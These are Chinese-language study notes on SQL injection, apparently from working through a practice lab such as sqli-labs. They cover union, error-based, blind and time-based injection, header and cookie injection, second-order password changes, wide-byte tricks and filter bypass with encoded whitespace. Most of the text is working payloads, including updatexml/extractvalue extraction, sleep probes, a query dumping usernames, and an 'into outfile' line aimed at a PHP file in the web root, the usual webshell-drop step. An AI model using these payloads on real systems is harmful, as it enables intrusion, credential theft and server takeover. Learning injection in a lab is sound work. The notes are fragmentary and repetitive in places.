1、判断sql语句中一共返回了多少列
order by 3 --+
union select 1,2,3 --+
可联合查询注入
可联合查询注入
可联合查询注入
可联合查询注入
报错型注入
前提条件:
show global variables like '%secure%';
1、secure_file_priv = null # 表示不允许导入导出
2、secure_file_priv = 路径时 # 表示mysql的导入导出只能发生在指定的文件夹
3、secure_file_priv = # 不给值的时候,则表示没有任何限制
union select 1,2, "" into outfile "c:/phpStudy/PHPTutorial/WWW/yjh.php"--+
传送门
优点:不需要显示位,不需要数据库报错信息,
只需要当数据库语句执行时没有结果和正常执行要有区别
缺点:速度慢
1、判断当前数据库的长度
and length(database()) = 8 --+ # 经过我多次的猜测,得到当前数据库的长度为8
2、猜测当前数据库的库名
经过我多次的猜测,终于确定了这个8位数的数据库名位" security "
and ord((substr(database(),8)))=121 --+ # 经过我多次的猜测,终于确定了这个8位数的数据库名位" security "
盲注太费时间了,效率不高。建议写脚本或者使用sqlmap工具
布尔盲注
优点:不需要显示位,不需要数据库报错信息,
不需要页面有区别
缺点:速度太慢,误差大
查看源码发现
通过if(表达式,值1,值2)来判断
1、注入点判断
and sleep(5) --+ # 页面卡住5秒,则说明存在注入点
2、 判断数据库长度
and if(length(database())=8,sleep(5),1) --+ # 表达式为Ture时,页面卡住5秒。否则页面卡住一秒
延迟注入
1、注入点判断
and sleep(5) --+ # 页面卡住5秒,则说明注入点正确
2、 判断数据库长度
and if(length(database())=8,sleep(5),1) --+ # 表达式为Ture时,页面卡住5秒。否则页面卡住一秒
延迟注入
POST提交参数
1、注入点判断
基于post提交数据的联合查询(同GET一样的操作,不一样的位置)
2、查看显示位
uname=不存在的用户' union select 1,2 #&passwd=&submit=Submit
POST提交参数
基于post提交数据的联合查询(同GET一样的操作,不一样的位置)
uname=账号无所谓') and updatexml(1,concat(0x7e,database(),0x7e),1) #&passwd=Dumb&submit=Submit # 爆出当前的数据库
基于post提交数据的报错注入(同GET一样的操作,不一样的位置)
POST提交参数
POST提交参数
1、根据回显的页面的不同来判断
2、操作和GET操作的一样。位置不一样而已
基于post提交数据的布尔盲注(同GET一样的操作,不一样的位置)
POST提交参数
修改 User-Agen(前提,登录的账号密码要对)
1、通过Bp抓取数据包
2、爆数据
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 # 爆出当前数据库
http头部注入
修改 Referer 字段
1、通过Bp抓取数据包
http头部注入
2、爆数据
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
JykgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw== # 这个是转成Base64之后的。
') and extractvalue(1,concat(0x7e,database(),0x7e))# 这个是没转的
cookie_Base64注入
注入点【 ’ 】
1、查看显示位
union select 1,2,'3
1、先创建一个相似的账号
2、登录创建好的admin’#账号并改此账号的密码
利用二次注入,就可以随便改密码了
注入点【 ’ 】
注入点【 ’ 】
过滤:
【 or、and、/、*、–、#、\s(所有空格)、\】
绕过:
【利用()来代替空格】
由于PHP版本的问题,一些空格的代替用不了。
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
小知识点:
因为要绕空格,所以 limit 就不能用了,但是报错注入只能爆出32位。
数据多的话,可以使用一个盲注中用过的函数substr(),
?id=1'||updatexml(1,substr(concat(0x7e,(select (group_concat(username)) from (users)),0x7e),1,32),1)||'1
注入点【 ’ 】
过滤:
【 /*、–、#、 +、空格+、select、Select、SELECT、union、Union、UNION、】
绕过:
PHP-5.2.17版本——【利用以下的编码来代替空格,从而进行绕过】
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
注入点【 ') 】
过滤:
【 /*、–、#、 +、空格+、/union\s+select/i(组合型拼接:union select)】
绕过:
PHP-5.2.17版本——【利用以下的编码来代替空格,从而进行绕过】
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
成功绕过
注入点【 ’ 】
?id=1&id=2' and extractvalue(1,concat('^',database(),'^')) %23
加了%df后最终的语句就是
?id=1運‘ =union select 1,2,3 --+
堆叠注入[ ’ ]
个人理解:相等于用sql命令在操作数据库
堆叠注入